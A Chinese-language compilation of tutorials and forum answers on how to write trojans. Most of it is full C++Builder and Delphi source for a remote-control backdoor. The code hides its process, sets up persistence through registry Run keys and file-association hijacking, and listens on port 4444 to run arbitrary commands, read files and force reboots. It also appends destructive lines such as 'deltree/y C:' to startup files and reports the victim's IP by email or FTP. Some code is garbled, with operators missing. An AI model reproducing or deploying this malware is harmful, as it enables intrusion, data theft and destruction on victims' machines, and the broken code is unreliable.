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如何编写木马

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDON *** )

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NM *** TP1-Connected) NM *** TP1-Disconnect();

file://如果 *** TP服务器已连接则断开

NM *** TP1-Host = " *** tp.163.net";

file://选一个好用的 *** TP服务器,如163、263、sina和btamail

NM *** TP1-UserID = "";

file://你 *** TP的ID

try

{

NM *** TP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NM *** TP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NM *** TP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";

file://将信发到我的邮箱,这一步很关键

NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NM *** TP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NM *** TP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序

怎么编写木马

这个只是恶作剧程序,不是木马。

其实很简单嘛,只要终止explorer.exe进程就行了。

这都不需要编程,只要写个批处理就行。

把:taskkill

/f

/im

Explorer.exe写到一个文本文档里,然后把那个文档的后缀名由.txt改为.bat就行了。

怎么编写木马程序?请各位大哥大姐们指点一二,越详细越好,小弟一点不懂编程哦!

其实做这个很简单的,现在我感觉做木马关键在于创意了 我电脑中收集过的一篇文章,给你参考一下 “冰河”启示录 前言:我经常在杂志和报刊上看到此类标题的文章,但大多是骗稿费的,没有任何技术含量.于是一气之下写了这编东西.本人声明如下:(一)本人对"冰河"及其作者没有任何不满,相反,作者肯帮助初学者的态度是我们每一个人都应该学习的.(二)本文的目的在于交流编程经验,没有任何其它不良企图.(三)在一些领域,我们理应宁可自制力让我们的预见力保持寂寞,也不要去做一个打开潘多拉盒子的先知。所以一些更厉害的 *** 我们现在不会提,以后也不会.--2000.8.3 (1) “冰河”是有名的用C++Builder编写的国产远程管理软件,其自我的功能保护很强,下面就以Delphi为例谈一谈它的原理,希望对大家有一些启发. 一、程序安装 此类程序一般会把自己隐藏起来运行,通常不外乎以下几种 *** :自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(如YAI).自我拷贝法适用于本身就一个文件,资源文件法可以同时安装好几个文件,网页方式安装要先向M$交钱换安全签证,类病毒捆绑法利用了病毒的原理.本文只介绍自我拷贝法,其它 *** 请到我的个人主页去看. 1:自我拷贝法 这种 *** 的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]'\' then Result := Result + '\'; end; 另外,为了避免同时运行多个程序的副本(节约系统资源也),程序一般会弄成每次只能运行一个.这又有几种 *** . 一种 *** 是程序运行时先查找有没有相同的运行了,如果有,就立刻退出程序. 修改dpr项目文件,修改begin和end之间的代码如下: begin Application.Initialize; if FindWindow('TForm1','Form1')=0 then begin //当没有找到Form1时执行下面代码 Application.ShowMainForm:=False; //不显示主窗口 Application.CreateForm(TForm1, Form1); Application.Run; end; end. 另一种 *** 是启动时会先通过窗口名来确定是否已经在运行,如果是则关闭原先的再启动。“冰河”就是用这种 *** 的。 这样做的好处在于方便升级.它会自动用新版本覆盖旧版本. *** 如下:修改dpr项目文件 uses Forms,windows,messages, Unit1 in 'Unit1.pas' {Form1}; 为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式。 加入Registry单元,改写上面的窗口Create事件,改写后的程序如下: procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao, ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获得文件名 if application.Exename GetWindir + myname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了, *** 是先查找到窗口名,向它发送退出命令,再把它删除即可. (2) “冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: uses Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //写注册表,让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao, } WriteString( '', application.ExeName+' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //写注册表,每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount0 then begin (* 有执行参数传入 *) sFileName:=ParamStr(1); (* 取得参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll, 否则会因为关联Exe文件而退不出Windows. 启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了

木马是如何编写的

这个木马只是个例子在模枋BO,

很简单是灰鸽子类的远程控制软件! 编写思路上一段就是隐藏自己,当有客户端连接时告诉以方你控制的机器是什么操作系统!

木马程序怎么编写

要想编写木马程序,你首先知道你自己的IP地址是多少,然后可以让木马自动连接你的电脑。

如何来建一个木马程序

用C++编写的木马程序

DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。

DLL木马的原理

DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。

正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:

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